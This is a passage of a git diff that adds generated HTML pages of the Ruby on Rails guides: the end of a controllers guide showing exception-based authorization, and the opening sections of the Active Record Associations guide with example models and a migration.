+ rescue_from User<span style="color: #990000">::</span>NotAuthorized<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=></span> <span style="color: #990000">:</span>user_not_authorized
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> user_not_authorized
+ flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You don't have access to this section."</span>
+ redirect_to <span style="color: #990000">:</span>back
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Check that the user has the right authorization to access clients.</span></span>
+ before_filter <span style="color: #990000">:</span>check_authorization
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Note how the actions don't have to worry about all the auth stuff.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+ <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+private
+
+ <span style="font-style: italic"><span style="color: #9A1900"># If the user is not authorized, just throw the exception.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_authorization
+ <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> User<span style="color: #990000">::</span>NotAuthorized <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> current_user<span style="color: #990000">.</span>admin?
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
+</tr></table>
+</div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/association_basics.html b/railties/doc/guides/html/association_basics.html new file mode 100644 index 0000000000..de84551aef --- /dev/null +++ b/railties/doc/guides/html/association_basics.html @@ -0,0 +1,2577 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>A Guide to Active Record Associations</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_why_associations">Why Associations?</a> + </li> + <li> + <a href="#_the_types_of_associations">The Types of Associations</a> + <ul> + + <li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li> + + <li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li> + + <li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li> + + <li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li> + + <li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li> + + <li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li> + + <li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li> + + <li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li> + + <li><a href="#_polymorphic_associations">Polymorphic Associations</a></li> + + <li><a href="#_self_joins">Self Joins</a></li> + + </ul> + </li> + <li> + <a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a> + <ul> + + <li><a href="#_controlling_caching">Controlling Caching</a></li> + + <li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li> + + <li><a href="#_updating_the_schema">Updating the Schema</a></li> + + <li><a href="#_controlling_association_scope">Controlling Association Scope</a></li> + + </ul> + </li> + <li> + <a href="#_detailed_association_reference">Detailed Association Reference</a> + <ul> + + <li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li> + + <li><a href="#_the_has_one_association">The has_one Association</a></li> + + <li><a href="#_the_has_many_association">The has_many Association</a></li> + + <li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li> + + <li><a href="#_association_callbacks">Association Callbacks</a></li> + + <li><a href="#_association_extensions">Association Extensions</a></li> + + </ul> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>A Guide to Active Record Associations</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Declare associations between Active Record models
+</p>
+</li>
+<li>
+<p>
+Understand the various types of Active Record associations
+</p>
+</li>
+<li>
+<p>
+Use the methods added to your models by creating associations
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_why_associations">1. Why Associations?</h2>
+<div class="sectionbody">
+<div class="para"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=></span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=></span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>find_by_customer_id<span style="color: #990000">(</span><span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
+<span style="color: #009900">@orders</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span>
+ order<span style="color: #990000">.</span>destroy
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
+</tt></pre></div></div>
+<div class="para"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this change, creating a new order for a particular customer is easier:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=></span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
+</tt></pre></div></div>
+<div class="para"><p>To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
+</div>
+<h2 id="_the_types_of_associations">2. The Types of Associations</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>belongs_to</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_one</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_many</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_many :through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_one :through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_and_belongs_to_many</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
+<h3 id="_the_tt_belongs_to_tt_association">2.1. The <tt>belongs_to</tt> Association</h3>
+<div class="para"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/belongs_to.png" alt="belongs_to Association Diagram" title="belongs_to Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_one_tt_association">2.2. The <tt>has_one</tt> Association</h3>
+<div class="para"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_one.png" alt="has_one Association Diagram" title="has_one Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_many_tt_association">2.3. The <tt>has_many</tt> Association</h3>
+<div class="para"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</td>
+</tr></table>
+</div>
+<div class="para"><p><span class="image">
+<img src="images/has_many.png" alt="has_many Association Diagram" title="has_many Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_many_through_tt_association">2.4. The <tt>has_many :through</tt> Association</h3>
+<div class="para"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Physician <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>appointments
+ has_many <span style="color: #990000">:</span>patients<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>appointments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Appointment <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>physician
+ belongs_to <span style="color: #990000">:</span>patient
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Patient <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>appointments
+ has_many <span style="color: #990000">:</span>physicians<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>appointments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_many_through.png" alt="has_many :through Association Diagram" title="has_many :through Association Diagram" />
+</span></p></div>
+<div class="para"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Document <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>sections
+ has_many <span style="color: #990000">:</span>paragraphs<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>sections
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Section <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>document
+ has_many <span style="color: #990000">:</span>paragraphs
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Paragraph <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>section
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_the_tt_has_one_through_tt_association">2.5. The <tt>has_one :through</tt> Association</h3>
+<div class="para"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+ has_one <span style="color: #990000">:</span>account_history<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+ has_one <span style="color: #990000">:</span>account_history
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AccountHistory <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_one_through.png" alt="has_one :through Association Diagram" title="has_one :through Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_and_belongs_to_many_tt_association">2.6. The <tt>has_and_belongs_to_many</tt> Association</h3>
+<div class="para"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/habtm.png" alt="has_and_belongs_to_many Association Diagram" title="has_and_belongs_to_many Association Diagram" />
+</span></p></div>
+<h3 id="_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">2.7. Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h3>
+<div class="para"><p>If you want to set up a 1-1 relationship between two models, you'll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
+<div class="para"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The corresponding migration might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateSuppliers <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>suppliers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ create_table <span style="color: #990000">:</span>accounts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>supplier_id
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>account_number
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>accounts
+ drop_table <span style="color: #990000">:</span>suppliers
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Using <tt>t.integer :supplier_id</tt> makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using <tt>t.references :supplier</tt> instead.</td>
+</tr></table>
+</div>
+<h3 id="_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">2.8. Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h3>
+<div class="para"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>manifests
+ has_many <span style="color: #990000">:</span>parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>manifests
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Manifest <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>assembly
+ belongs_to <span style="color: #990000">:</span>part
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>manifests
+ has_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>manifests
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you'll need to remember to create the joining table).</p></div>
+<div class="para"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
+<h3 id="_polymorphic_associations">2.9. Polymorphic Associations</h3>
